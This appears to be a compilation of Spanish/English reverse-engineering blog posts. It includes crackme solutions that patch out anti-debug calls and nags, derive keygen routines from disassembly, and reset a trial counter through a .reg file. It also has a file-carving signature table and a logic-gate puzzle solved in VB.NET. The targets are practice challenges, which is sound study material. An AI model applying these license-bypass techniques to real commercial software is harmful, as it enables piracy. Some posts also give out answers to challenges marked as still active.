Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Intro

This crackme is for the crack challenge 6 of canyouhack.it.

In this crackme the goal is to turn on all the lights. Note that a light off to the next, so if we interrupt this, we win.

Tools

Exeinfo (For crackme info)

Delphi Decompiler (For decompile)

 OllyDbg (For debug)

Decompiling

With Delphi Decompiler we can found easy the buttons and his offsets.
Go to the offset 401A64 in OllyDbg and analyze the code.
We view two jumps, one turn ON the light and the other Turn OFF the next light. Patching the call from offset 401A8B we get the serial.

Links


File carving is the process of reassembling computer files from fragments in the absence of filesystem metadata. Wikipedia. "File carving", literalmente tallado
AVISO: Debido a que este reto está en activo no publicaré a donde pertenece. El reto en cuestión nos presenta
Introducción  Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.
Intro Hoy tenemos un crackme hecho en ensamblador y que cuenta con tres niveles. En el primero de todos nos

File carving is the process of reassembling computer files from fragments in the absence of filesystem metadata. Wikipedia.

«File carving», literalmente tallado de archivos aunque lo traduciremos como extracción, es el proceso de re-ensamblado de archivos extraídos de un conjunto de mayor tamaño.

Índice

  1. Image files / Archivos de imagen
  2. Microsoft Office >2007
  3. Open Office
  4. Autocad
  5. Others / Otros
  6. Links / Enlaces

List of headers and tails / Lista de cabeceras y pies

Header = Cabecera

Footer or tail = Pie

Image files / Archivos de imagen

  • JPEG
    • Header: FFD8
    • Footer: FFD9
  • GIF87a
    • Header: 47 49 46 38 37 61
    • Footer: 00 3B
  • GIF89a
    • Header: 47 49 46 38 39 61
    • Footer: 00 3B
  • BMP
    • Header: 42 4D
    • Footer: Don’t have footer, but size is in bytes 2,3,4,5 in little-endian order (low byte first).
      • Example: 00 00 C0 38 == 49208 bytes

bmpsize

  • PNG
    • Header: 89 50 4E 47 0D 0A 1A 0A
    • Footer: 49 45 4E 44 AE 42 60 82

Microsoft Office >2007

All this documents have the same header and footer, because of this, we need search the middle bytes. This type uses a ZIP file package.

Los documentos de Microsoft Office >2007 tienen la misma cabecera y pie, por lo que necesitamos bytes intermedios para distinguirlos. Usan encapsulado ZIP.

  • DOCX
    • Header: 50 4B 03 04 14 00 06 00
      • Middle: 77 6F 72 64 (word)
    • Footer: 50 4B 05 06 (PK..) followed by 18 additional bytes at the end of the file.
  • XLSX
    • Header: 50 4B 03 04 14 00 06 00
      • Middle: 77 6F 72 6B 73 68 65 65 74 73 (worksheets)
    • Footer: 50 4B 05 06 (PK..) followed by 18 additional bytes at the end of the file.
  • PPTX
    • Header: 50 4B 03 04 14 00 06 00
      • Middle: 70 72 65 73 65 6E 74 61 74 69 6F 6E (presentation)
    • Footer: 50 4B 05 06 (PK..) followed by 18 additional bytes at the end of the file.
  • MDB / ACCDB
    • Header: 00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 (….Standard Jet DB)
    • Footer: Don’t have footer.

Open Office

All this documents have the same header and footer, because of this, we need some bytes to differentiate them. In this case we can do this jumping 73 bytes from header. This type uses a ZIP file package.

Los documentos de OpenOffice tienen la misma cabecera y pie, por lo que necesitamos bytes intermedios para distinguirlos. Usan encapsulado ZIP.

  • ODS
    • Header: 50 4B 03 04 14 (PK..) jump +73 (0x49) bytes and 73 70 72 65 (spre)
    • Footer: 6D 61 6E 69 66 65 73 74 2E 78 6D 6C 50 4B 05 06 (manifest.xmlPK) followed by 18 additional bytes.
  • ODT
    • Header: 50 4B 03 04 14 (PK..) jump +73 (0x49) bytes and 74 65 78 64 (text)
    • Footer: 6D 61 6E 69 66 65 73 74 2E 78 6D 6C 50 4B 05 06 (manifest.xmlPK) followed by 18 additional bytes.
  • ODB
    • Header: 50 4B 03 04 14 (PK..) jump +73 (0x49) bytes and 62 61 73 65 (base)
    • Footer: 6D 61 6E 69 66 65 73 74 2E 78 6D 6C 50 4B 05 06 (manifest.xmlPK) followed by 18 additional bytes.
  • ODG
    • Header: 50 4B 03 04 14 (PK..) jump +73 (0x49) bytes and 67 72 61 70 (grap)
    • Footer: 6D 61 6E 69 66 65 73 74 2E 78 6D 6C 50 4B 05 06 (manifest.xmlPK) followed by 18 additional bytes.
  • ODF
    • Header: 50 4B 03 04 14 (PK..) jump +73 (0x49) bytes and 66 6F 72 6D (form)
    • Tail: 6D 61 6E 69 66 65 73 74 2E 78 6D 6C 50 4B 05 06 (manifest.xmlPK) followed by 18 additional bytes.
  • ODP
    • Header: 50 4B 03 04 14 (PK..) jump +73 (0x49) bytes and 70 72 65 73 (pres)
    • Footer: 6D 61 6E 69 66 65 73 74 2E 78 6D 6C 50 4B 05 06 (manifest.xmlPK) followed by 18 additional bytes.

Autocad

  • DWG (R11/R12 versions)
    • Header: 41 43 31 30 30 39
    • Footer: CD 06 B2 F5 1F E6
  • DWG (R14 version)
    • Header: 41 43 31 30 31 34
    • Footer: 62 A8 35 C0 62 BB EF D4
  • DWG (2000 version)
    • Header: 41 43 31 30 31 34
    • Footer: DB BF F6 ED C3 55 FE
  • DWG (>2007 versions)
    • Header: 41 43 31 30 XX XX
    • Footer: Don’t have

Note: >2007 versions have two patterns and the key is the position 0x80. If in this position we get the bytes «68 40 F8 F7 92», we need to search again for this bytes and displace 107 bytes to find the end of the file. If in the position 0x80 we get another different bytes, we need to search again this bytes and displace 1024 bytes to find the end of the file.

Nota: Las versiones >2007 siguen dos patrones y la clave está en la posición 0x80. Si en la posicion 0x80 obtenemos los bytes «68 40 F8 F7 92», los buscamos una segunda vez y ha 107 bytes encontramos el final del archivo. Si en la posición 0x80 obtenemos otros bytes diferentes a los del primer caso, los volvemos a buscar y a 1024 bytes hallaremos el final del archivo.

Others / Otros

  • PDF
    • Header: 25 50 44 46 (%PDF)
    • Footers:
      • 0A 25 25 45 4F 46 (.%%EOF) or
      • 0A 25 25 45 4F 46 0A (.%%EOF.) or
      • 0D 0A 25 25 45 4F 46 0D 0A (..%%EOF..) or
      • 0D 25 25 45 4F 46 0D (.%%EOF.)
  • ZIP
    • Header: 50 4B 03 04
    • Footer: 50 4B 05 06 (PK..) followed by 18 additional bytes at the end of the file.
  • RAR (< 4.x version)
    • Header: 52 61 72 21 1A 07 00
    • Tail: C4 3D 7B 00 40 07 00
  • 7ZIP
    • Header: 37 7A BC AF 27 1C 00 03  (7z¼¯’…)
    • Footer: 01 15 06 01 00 20 followed by 5 additional bytes at the end of the file.
  • RTF
    • Header: 7B 5C 72 74 66 31
    • Footer: 5C 70 61 72 20 7D

Links / Enlaces

AVISO: Debido a que este reto está en activo no publicaré a donde pertenece.

El reto en cuestión nos presenta un esquema de puertas lógicas y una secuencia binaria que al pasarla por las puertas nos devolverá la solución al reto.

La secuencia binaria es ésta:

110111000001110010010011101100011000001101111110000001011101110011101100011000001101011011111000011010100110111000001010100111111111000101110001010

Lo primero que necesitamos saber es que función realiza cada puerta. Si indagamos un poco enseguida llegamos a la conclusión de que el esquema lo componen 3 puertas NOT, cuatro puertas AND y una puerta OR.

El funcionamiento es muy sencillo, la puerta NOT simplemente invierte el dígito de entrada convirtiendo los unos en ceros y los ceros en unos. La puerta AND siempre dará como resultado cero excepto cuando todos dígitos de entrada sean unos, que dará como resultado uno. La puerta OR es contraria a la AND y siempre dará como resultado uno excepto cuando todos los dígitos de entrada sean ceros, que en este caso dará como resultado cero.

Esquema con apuntes

Nota: Aunque lo más normal es encontrarse puertas de dos entradas y una salida, cuando tenemos múltiples entradas el funcionamiento es el mismo pudiendo resolverlo de manera secuencial. Por ejemplo, a la primera puerta AND le entran la pista cuatro, la dos y la tres. La solución es hacer cuatro AND dos y el resultado AND tres -> (cuatro AND dos) AND tres

Teniendo en cuenta el funcionamiento de las puertas y con la ayuda del esquema anterior podemos automatizar el proceso fácilmente. A continuación os dejo el código en .Net.

Dim encoded As String = "110111000001110010010011101100011000001101111110000001011101110011101100011000001101011011111000011010100110111000001010100111111111000101110001010"

        Dim uno, dos, tres, cuatro, cinco, seis As String
        Dim w, x, y, z, tmp As Integer
        For i = 0 To encoded.Length - 1 Step 3
            uno = Mid(encoded, i + 1, 1)
            dos = Mid(encoded, i + 2, 1)
            tres = Mid(encoded, i + 3, 1)

            If uno = "1" Then cuatro = "0"
            If uno = "0" Then cuatro = "1"
            If dos = "1" Then cinco = "0"
            If dos = "0" Then cinco = "1"
            If tres = "1" Then seis = "0"
            If tres = "0" Then seis = "1"

            w = CInt(cuatro And dos) And CInt(tres)
            x = CInt(uno And cinco) And CInt(tres)
            y = CInt(uno And dos) And CInt(seis)
            z = CInt(uno And dos) And CInt(tres)

            tmp = (w Or x) Or (y Or z)
            txt_s.Text &= tmp.ToString
        Next

Obtenemos como resultado: 1100100110100111001111101001111010011000011101100

Si intentamos decodificar la secuencia resultante en bloque no obtenemos ningún resultado pero si tenemos en cuenta que cada letra en binario ocupa siete dígitos enseguida encontramos la solución.

1100100 1101001 1100111 1101001 1110100 1100001 1101100
   d       i       g       i       t       a       l

Enlaces

Introducción

 Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.

Saltar el antidebug

Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.

names

Aquí vemos el call.

isdebuggerpresent

Call Nopeado.

antidebug

Encontrando un serial válido

Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.

comparacion

 El algoritmo

Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.

004010EB        |.  83F8 04             CMP EAX,4                      ;Longitud del nombre >4
004010EE        |.  72 05               JB SHORT Ice9.004010F5
004010F0        |.  83F8 0A             CMP EAX,0A                     ;Longitud del nombre <=10
004010F3        |.  76 15               JBE SHORT Ice9.0040110A
004010F5        |>  6A 00               PUSH 0                                ; /Style = MB_OK|MB_APPLMODAL
004010F7        |.  68 04304000         PUSH Ice9.00403004                    ; |Title = "Error, Bad Boy"
004010FC        |.  68 1C304000         PUSH Ice9.0040301C                    ; |Text = "name must be at least 4 chars"
00401101        |.  6A 00               PUSH 0                                ; |hOwner = NULL
00401103        |.  E8 70010000         CALL <JMP.&user32.MessageBoxA>        ; \MessageBoxA
........
00401183         .  3BD3                CMP EDX,EBX
00401185         .  74 15               JE SHORT Ice9.0040119C
00401187         .  8A07                MOV AL,BYTE PTR DS:[EDI]
00401189         .  3C 5A               CMP AL,5A                     ;Compara que el dígito < 5A
0040118B         .  7E 05               JLE SHORT Ice9.00401192
0040118D         >  03C8                ADD ECX,EAX                   ;ECX + Ascii(dígito)
0040118F         .  47                  INC EDI 
00401190         .^ EB EE               JMP SHORT Ice9.00401180
00401192         >  3C 41               CMP AL,41                     ;Compara que el dígito > 41
00401194         .  7D 02               JGE SHORT Ice9.00401198
00401196         .  EB 02               JMP SHORT Ice9.0040119A
00401198         >  04 2C               ADD AL,2C                     ;Si cumple lo anterior dígito +2C
0040119A         >^ EB F1               JMP SHORT Ice9.0040118D
0040119C         >  81C1 9A020000       ADD ECX,29A                   ;ECX + 29A
004011A2         .  69C9 39300000       IMUL ECX,ECX,3039             ;ECX * 3039
004011A8         .  83E9 17             SUB ECX,17                    ;ECX - 17
004011AB         .  6BC9 09             IMUL ECX,ECX,9                ;ECX * 9
004011AE         .  33DB                XOR EBX,EBX
004011B0         .  8BC1                MOV EAX,ECX                   ;Mueve nuestro SUM en EAX
004011B2         .  B9 0A000000         MOV ECX,0A                    ;ECX = A
004011B7         >  33D2                XOR EDX,EDX
004011B9         .  F7F1                DIV ECX                       ;SUM / ECX (Resultado a EAX)
004011BB         .  80C2 30             ADD DL,30
004011BE         .  881433              MOV BYTE PTR DS:[EBX+ESI],DL
004011C1         .  83C3 01             ADD EBX,1
004011C4         .  83F8 00             CMP EAX,0
004011C7         .  74 02               JE SHORT Ice9.004011CB
004011C9         .^ EB EC               JMP SHORT Ice9.004011B7
004011CB         >  BF C8304000         MOV EDI,Ice9.004030C8
004011D0         >  8A4433 FF           MOV AL,BYTE PTR DS:[EBX+ESI-1]
004011D4         .  8807                MOV BYTE PTR DS:[EDI],AL
004011D6         .  47                  INC EDI 
004011D7         .  4B                  DEC EBX
004011D8         .  83FB 00             CMP EBX,0
004011DB         .^ 75 F3               JNZ SHORT Ice9.004011D0
004011DD         .  C607 00             MOV BYTE PTR DS:[EDI],0               ;Coje letras del nombre en función
004011E0         .  8D3D B4304000       LEA EDI,DWORD PTR DS:[4030B4]         ;del resultado anterior
004011E6         .  68 B7304000         PUSH Ice9.004030B7                    ;  ASCII "rus"
004011EB         .  68 C8304000         PUSH Ice9.004030C8                    ;  ASCII "134992368rus"
004011F0         .  E8 BB000000         CALL Ice9.004012B0                    ; Concatena
004011F5         .  68 C8304000         PUSH Ice9.004030C8                    ; /String2 = "136325628rus"
004011FA         .  68 98314000         PUSH Ice9.00403198                    ; |String1 = "12345"
004011FF         .  E8 98000000         CALL <JMP.&kernel32.lstrcmpA>         ; \lstrcmpA

Resumen (valores hexadecimales):

  • Len(Nombre ) >=4 y <=A
  • Comprueba si el dígito está es mayúsculas y si está le sume 2C al valor ascii.
  • Suma el valor ascii de todos los dígitos menos el último.
  • SUM + 29A
  • SUM * 3039
  • SUM – 17
  • SUM * 9

Finalmente concatena letras siguiendo este criterio:

  • Len(nombre) = 4 -> coje la última letra
  • Len(nombre) = 5 -> coje las dos últimas
  • Len(nombre) = 6 -> coje las tres últimas
  • Len(nombre) = 7 -> coje las cuatro últimas
  • Len(nombre) = 8 -> coje las cinco últimas
  • Len(nombre) = 9 -> coje las seis últimas
  • Len(nombre) = A -> coje las siete últimas

Ejemplo para deurus

d  e  u  r  u  (s)
64+65+75+72+75 = 225
225 + 29A   = 4BF
4BF * 3039  = E4DE87
E4DE87 - 17 = E4DE70
E4DE70 * 9  = 80BD1F0
;Pasamos a decimal y concatenamos
134992368rus

Ejemplo para Deurus

D       e  u  r  u  (s)
44(+2C)+65+75+72+75 = 25D
25D + 29A   = 4F7
4BF * 3039  = EF6AFF
EF6AFF - 17 = EF6AE8
EF6AE8 * 9  = 86AC228
;Pasamos a decimal y concatenamos
141214248rus

Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.

Links


Introducción Herramientas disponibles CrkViz-1 (Serial a la vista) CrkViz-2 (Parcheando rutina aleatoria) CrkViz-3 (Nag+Keygen) CrkViz-4 (Límite de ejecuciones+Keygen) CrkViz-5 (Serial
Intro Hoy vamos a desmitificar un poco a Visual Basic. El Crackme reza que acabemos con la nag y hagamos
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
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Introducción

Esta vez vamos a analizar los CrackMes de un antiguo colaborador de Karpoff Spanish Tutor, CrkViZ. En estas cinco soluciones vamos a pelearnos con Visual Basic 5/6 nativo y Pcode, con el registro de Windows y tendremos que parchear algúna rutina antidebug. Los CrackMes son del año 2000 y aunque algunos estaban ya solucionados, los analizaremos igualmente para ver la diferencia que existe con los análisis realizados en aquellos años, sí, estamos hablando del Softice.

Herramientas disponibles

Cuando hablamos de Visual Basic 5/6, podemos destacar 3 herramientas que nos facilitan mucho la vida, VB Decompiler, VB Reformer y ExDec. Las dos primeras se defienden bien tanto con código nativo como pcode y ExDec solamente nos sirve para pcode. Aún así, si todo lo demás falla, Ollydbg nos sacará de apuros.

CrkViz-1

03-03-2015 13-16-27

03-03-2015 13-16-17

Este primer crackme está compilado en Pcode y hoy día, con las herramientas de que disponemos no supone ninguna dificultad. Tan solo debemos abrirlo con VB Decompiler y ya nos encontramos con el serial válido.

03-03-2015 13-14-18

Los opcodes obtenidos con ExDec se ven de la siguiente manera.

......
402F14: 04 FLdRfVar                local_008C
402F17: 21 FLdPrThis              
402F18: 0f VCallAd                 7b3fc340
402F1B: 19 FStAdFunc               local_0088
402F1E: 08 FLdPr                   local_0088
402F21: 0d VCallHresult            7b3fbe88
402F26: 6c ILdRf                   local_008C
402F29: 1b LitStr:                 57230198        <--------------
402F2C: Lead0/30 EqStr            
402F2E: 2f FFree1Str               local_008C
402F31: 1a FFree1Ad                local_0088
402F34: 1c BranchF:                403012
402F37: 21 FLdPrThis              
402F38: 0d VCallHresult            7b3fc2b0
402F3D: 3a LitVarStr:              ( local_00AC )  Gracias por Registrar!!      
402F42: Lead2/00 FStVarCopy       
402F46: 27 LitVar_Missing         
402F49: 27 LitVar_Missing         
402F4C: 3a LitVarStr:              ( local_00AC ) CrkViz
402F51: 4e FStVarCopyObj           local_00BC
402F54: 04 FLdRfVar                local_00BC
402F57: f5 LitI4:                  0x40  64  (...@)
402F5C: 04 FLdRfVar                local_009C
402F5F: 0a ImpAdCallFPR4:          _rtcMsgBox
402F64: 36 FFreeVar
402F6D: 27 LitVar_Missing         
402F70: 25 PopAdLdVar             
402F71: 27 LitVar_Missing
......

CrkViz-2

03-03-2015 13-18-32

Este segundo crackme también está compilado en pcode. La rutina del serial es muy sencilla pero al introducir un número aleatorio nos obliga a parchear. Cargamos el crackme en VB Decompiler y nos muestra esto:

03-03-2015 13-19-48

Básicamente vemos que genera un número aleatorio entre 1 y 999999999 y luego le suma 1. La forma de afrontar esto es parcheando. Nos fijamos en el offset aproximado (4037F2) y abrimos el crackme en un editor hexadecimal. La forma de convertir el offset que nos muestra VB Decompiler a lo que nos muestra un editor hexadecimal es la siguiente.

VBdec_offset - Image Base - VirtualOffset + RawOffset = Offset_Editor.H

4037F2 - 400000 - 1000 + 400 = 2BF2

03-03-2015 14-00-27

Una vez localizados los bytes, los cambiamos por ceros y guardamos.

01-03-2015 04-50-05 01-03-2015 04-52-10

Una vez parcheado, el serial correcto es 1.

CrkViz-3

11-03-2015 21-20-07

En esta tercera entrega, CrkViz aumentó la dificultad. El crackme está compilado en código nativo y nos enfrentamos a un serial asociado a un nombre y a una rutina antidebug que en realidad es una Nag, ya que se muestra siempre.

Afrontar la nag es muy sencillo, basta con localizarla y parchear la llamada.

CPU Disasm
Address   Hex dump          Command                                            Comments
004058E2    8D4D DC         LEA ECX,[EBP-24]
004058E5    C785 BCFDFFFF B MOV DWORD PTR SS:[EBP-244],CrkMeViz-3.004033B8     ; UNICODE "  Debugger detectado!!!   "
004058EF    C785 B4FDFFFF 0 MOV DWORD PTR SS:[EBP-24C],8
004058F9    FFD7            CALL EDI
004058FB    B9 04000280     MOV ECX,80020004
00405900    B8 0A000000     MOV EAX,0A
00405905    898D FCFDFFFF   MOV DWORD PTR SS:[EBP-204],ECX
0040590B    898D 0CFEFFFF   MOV DWORD PTR SS:[EBP-1F4],ECX
00405911    8D95 B4FDFFFF   LEA EDX,[EBP-24C]
00405917    8D8D 14FEFFFF   LEA ECX,[EBP-1EC]
0040591D    8985 F4FDFFFF   MOV DWORD PTR SS:[EBP-20C],EAX
00405923    8985 04FEFFFF   MOV DWORD PTR SS:[EBP-1FC],EAX
00405929    C785 BCFDFFFF 8 MOV DWORD PTR SS:[EBP-244],CrkMeViz-3.00403188     ; UNICODE "Error"
00405933    C785 B4FDFFFF 0 MOV DWORD PTR SS:[EBP-24C],8
0040593D    FF15 C8914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarDup>]
00405943    8D85 F4FDFFFF   LEA EAX,[EBP-20C]
00405949    8D8D 04FEFFFF   LEA ECX,[EBP-1FC]
0040594F    50              PUSH EAX
00405950    8D95 14FEFFFF   LEA EDX,[EBP-1EC]
00405956    51              PUSH ECX
00405957    52              PUSH EDX
00405958    8D45 DC         LEA EAX,[EBP-24]
0040595B    6A 10           PUSH 10
0040595D    50              PUSH EAX
0040595E    FF15 50914000   CALL DWORD PTR DS:[<&MSVBVM50.#595>]               ; rtcMsgBox - NOPear para evitar la NAG
00405964    8D8D F4FDFFFF   LEA ECX,[EBP-20C]

Antes de llegar al keygen vemos que realiza unas llamadas al registro de Windows, ponemos un breakpoint «bp RegOpenKeyW» y ejecutamos.

CPU Disasm
Address   Hex dump            Command                                  Comments
00405677  |.  8B8D B8FDFFFF   MOV ECX,DWORD PTR SS:[EBP-248]
0040567D  |.  B8 54334000     MOV EAX,CrkMeViz-3.00403354              ; UNICODE "<Unregister>"
00405682  |.  68 B4304000     PUSH CrkMeViz-3.004030B4                 ; UNICODE "Serial number"
00405687  |.  894A 04         MOV DWORD PTR DS:[EDX+4],ECX
0040568A  |.  8985 BCFDFFFF   MOV DWORD PTR SS:[EBP-244],EAX
00405690  |.  68 84304000     PUSH CrkMeViz-3.00403084                 ; UNICODE "Register"
00405695  |.  68 58304000     PUSH CrkMeViz-3.00403058                 ; UNICODE "CrkMeViz3"
0040569A  |.  8942 08         MOV DWORD PTR DS:[EDX+8],EAX
0040569D  |.  8B85 C0FDFFFF   MOV EAX,DWORD PTR SS:[EBP-240]
004056A3  |.  8942 0C         MOV DWORD PTR DS:[EDX+0C],EAX
004056A6  |.  FF15 C0914000   CALL DWORD PTR DS:[<&MSVBVM50.#689>] 	; rtcGetSetting - Lee el numero de serie del registro
........
0040574F  |.  68 9C304000     PUSH CrkMeViz-3.0040309C                  ; UNICODE "User Name"
00405754  |.  68 84304000     PUSH CrkMeViz-3.00403084                  ; UNICODE "Register"
00405759  |.  68 58304000     PUSH CrkMeViz-3.00403058                  ; UNICODE "CrkMeViz3"
0040575E  |.  8948 08         MOV DWORD PTR DS:[EAX+8],ECX
00405761  |.  8B8D C0FDFFFF   MOV ECX,DWORD PTR SS:[EBP-240]
00405767  |.  8948 0C         MOV DWORD PTR DS:[EAX+0C],ECX
0040576A  |.  FF15 C0914000   CALL DWORD PTR DS:[<&MSVBVM50.#689>]	; rtcGetSetting - Lee el Usuario del registro

 Reconstruyendo la llamada al registro vemos que lee de esta ruta: HKEY_CURRENT_USER\Software\VB and VBA Program Settings\CrkMeViz3\Register el contenido de User Name y del Serial number.

Quizá uno de los fallos de éste crackme, es que no comprueba la autenticidad de estos parámetros y si los modificas parece que estás registrado. Un ejemplo:

11-03-2015 22-23-28

La rutina de comprobación del serial no es para nada complicada pero recordemos que estamos tratando con VB y éste delega el trabajo duro en otras librerias de modo que tenemos que «meternos» a tracear las llamadas para ver los valores que multiplica y divide.

CPU Disasm
Address     Hex dump          Command                                            Comments
00405A86      FF15 3C914000   CALL DWORD PTR DS:[<&MSVBVM50.#518>]    ;MSVBVM50.rtcLowerCaseVar
00405A8C      8D95 14FEFFFF   LEA EDX,[EBP-1EC]
00405A92      8D8D ACFEFFFF   LEA ECX,[EBP-154]
00405A98      FFD6            CALL ESI
00405A9A      8D95 ACFEFFFF   LEA EDX,[EBP-154]
00405AA0      8D8D 4CFEFFFF   LEA ECX,[EBP-1B4]
00405AA6      FFD7            CALL EDI
00405AA8      8D95 4CFEFFFF   LEA EDX,[EBP-1B4]
00405AAE      8D8D 7CFFFFFF   LEA ECX,[EBP-84]
00405AB4      FFD7            CALL EDI
00405AB6      8D85 14FEFFFF   LEA EAX,[EBP-1EC]
00405ABC      8D8D 7CFFFFFF   LEA ECX,[EBP-84]
00405AC2      50              PUSH EAX
00405AC3      6A 01           PUSH 1
00405AC5      8D95 04FEFFFF   LEA EDX,[EBP-1FC]
00405ACB      51              PUSH ECX
00405ACC      52              PUSH EDX
00405ACD      C785 1CFEFFFF 0 MOV DWORD PTR SS:[EBP-1E4],1
00405AD7      C785 14FEFFFF 0 MOV DWORD PTR SS:[EBP-1EC],2
00405AE1      FF15 68914000   CALL DWORD PTR DS:[<&MSVBVM50.#632>]   ;MSVBVM50.rtcMidCharVar (Esto lo hace 6 veces, lo omito para abreviar.)
........
00405CE1      FF15 34914000   CALL DWORD PTR DS:[<&MSVBVM50.#516>]   ;MSVBVM50.rtcAnsiValueBstr (Lo mismo, otras 6)
........
00405E7C    C785 BCFDFFFF 2 MOV DWORD PTR SS:[EBP-244],52E
00405E86    C785 B4FDFFFF 0 MOV DWORD PTR SS:[EBP-24C],2
00405E90    50              PUSH EAX
00405E91    FF15 84914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
		|
		->MSVBVM50.__vbaVarMul
			........
			741C19D3      0FB745 FE       MOVZX EAX,WORD PTR SS:[EBP-2]       ;Valor1
			741C19D7      0FB74D F2       MOVZX ECX,WORD PTR SS:[EBP-0E]      ;Valor2
			741C19DB      6BC0 12         IMUL EAX,EAX,12                     ;Valor1*Valor2
			........
00405E97    8D8D 04FEFFFF   LEA ECX,[EBP-1FC]
00405E9D    50              PUSH EAX
00405E9E    51              PUSH ECX
00405E9F    FF15 84914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00405EA5    8D95 F4FDFFFF   LEA EDX,[EBP-20C]
00405EAB    50              PUSH EAX
00405EAC    52              PUSH EDX
00405EAD    FF15 84914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00405EB3    50              PUSH EAX
00405EB4    8D85 E4FDFFFF   LEA EAX,[EBP-21C]
00405EBA    50              PUSH EAX
00405EBB    FF15 84914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00405EC1    8D8D D4FDFFFF   LEA ECX,[EBP-22C]
00405EC7    50              PUSH EAX
00405EC8    51              PUSH ECX
00405EC9    FF15 84914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00405ECF    50              PUSH EAX
00405ED0    8D95 B4FDFFFF   LEA EDX,[EBP-24C]
00405ED6    8D85 C4FDFFFF   LEA EAX,[EBP-23C]
00405EDC    52              PUSH EDX
00405EDD    50              PUSH EAX
00405EDE    FF15 94914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarDiv>]
		|
		->MSVBVM50.__vbaVarDiv
			........
			741C8094      DD43 08         FLD QWORD PTR DS:[EBX+8]      ;Recupera el resultado de las multiplicaciones anteriores
			741C8097      0FBF47 08       MOVSX EAX,WORD PTR DS:[EDI+8] ;EAX = 1326 (52E)
			741C809B      8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
			741C809E      DA75 F8         FIDIV DWORD PTR SS:[EBP-8]    ;Divide los dos resultados
			741C80A1      DD5E 08         FSTP QWORD PTR DS:[ESI+8]
			........
00405F44      FF15 24914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaLenBstr>]          ;Len(nombre)
........
00405F85      FF15 94914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarDiv>]           ;Resultado anterior / Len(nombre)
........

En resumen:

  • Pasa nuestro nombre a minúsculas.
  • Obtiene el valor ascii de los 6 primeros dígitos del nombre.
  • Los multiplica entre sí y divide el resultado acumulado entre 1326 (52E).
  • Divide el resultado anterior entre el tamaño del nombre.

Ejemplo para deurus

64*65*75*72*75*73 = 1A605D70EB8
1A605D70EB8 / 52E = 5179FBF4
5179FBF4 / 6 = D9454A9

11-03-2015 21-20-17

Al estar correctamente registrados desaparece el botón de registrar.

CrkViz-4

12-03-2015 23-09-07

El cuarto crackme es prácticamente igual que el tercero salvo que en vez de nag ahora contamos con limitación de ejecuciones. Del mismo modo utiliza el registro de Windows para guardar los datos de registro y las ejecuciones que llevamos.

Ponemos un breakpoint «bp RegOpenKeyW» y llegamos a la conclusión de que la ruta es HKEY_CURRENT_USER\Software\VB and VBA Program Settings\ODBC\Register y los valores se guardan en Counter, User Name y Serial number respectivamente. Este crackme hereda el fallo del anterior y si alteramos los valores el crackme nos muestra como usuarios autorizados, aunque sabemos que no estamos registrados ya que seguimos limitados por ejecuciones. Ni que decir tiene que lo mismo que modificamos el nombre y número de serie, podemos modificar el contador a nuestro favor. Crear un archivo «Reiniciar_contador.reg» con el siguiente contenido sería suficiente.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\VB and VBA Program Settings\ODBC]

[HKEY_CURRENT_USER\Software\VB and VBA Program Settings\ODBC\Register]
"Counter"="0"
"User Name"="deurus"
"Serial number"="12345"

El keygen es prácticamente igual que en el crackme anterior, solo cambia el divisor.

CPU Disasm
Address   Hex dump          Command                                                   Comments
........
00404BD2    C785 BCFDFFFF C MOV DWORD PTR SS:[EBP-244],6C1
00404BDC    C785 B4FDFFFF 0 MOV DWORD PTR SS:[EBP-24C],2
00404BE6    FF15 A0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
   |
    ->MSVBVM50.__vbaVarMul
	741C19F9    0FBF4F 08       MOVSX ECX,WORD PTR DS:[EDI+8]      ;Valor1
	741C19FD    0FBF43 08       MOVSX EAX,WORD PTR DS:[EBX+8]      ;Valor2
	741C1A01    0FAFC8          IMUL ECX,EAX                       ;Valor1*Valor2
........
00404BEC    8D8D 04FEFFFF   LEA ECX,[EBP-1FC]
00404BF2    50              PUSH EAX
00404BF3    51              PUSH ECX
00404BF4    FF15 A0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00404BFA    8D95 F4FDFFFF   LEA EDX,[EBP-20C]
00404C00    50              PUSH EAX
00404C01    52              PUSH EDX
00404C02    FF15 A0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00404C08    50              PUSH EAX
00404C09    8D85 E4FDFFFF   LEA EAX,[EBP-21C]
00404C0F    50              PUSH EAX
00404C10    FF15 A0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00404C16    8D8D D4FDFFFF   LEA ECX,[EBP-22C]
00404C1C    50              PUSH EAX
00404C1D    51              PUSH ECX
00404C1E    FF15 A0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarMul>]
00404C24    50              PUSH EAX
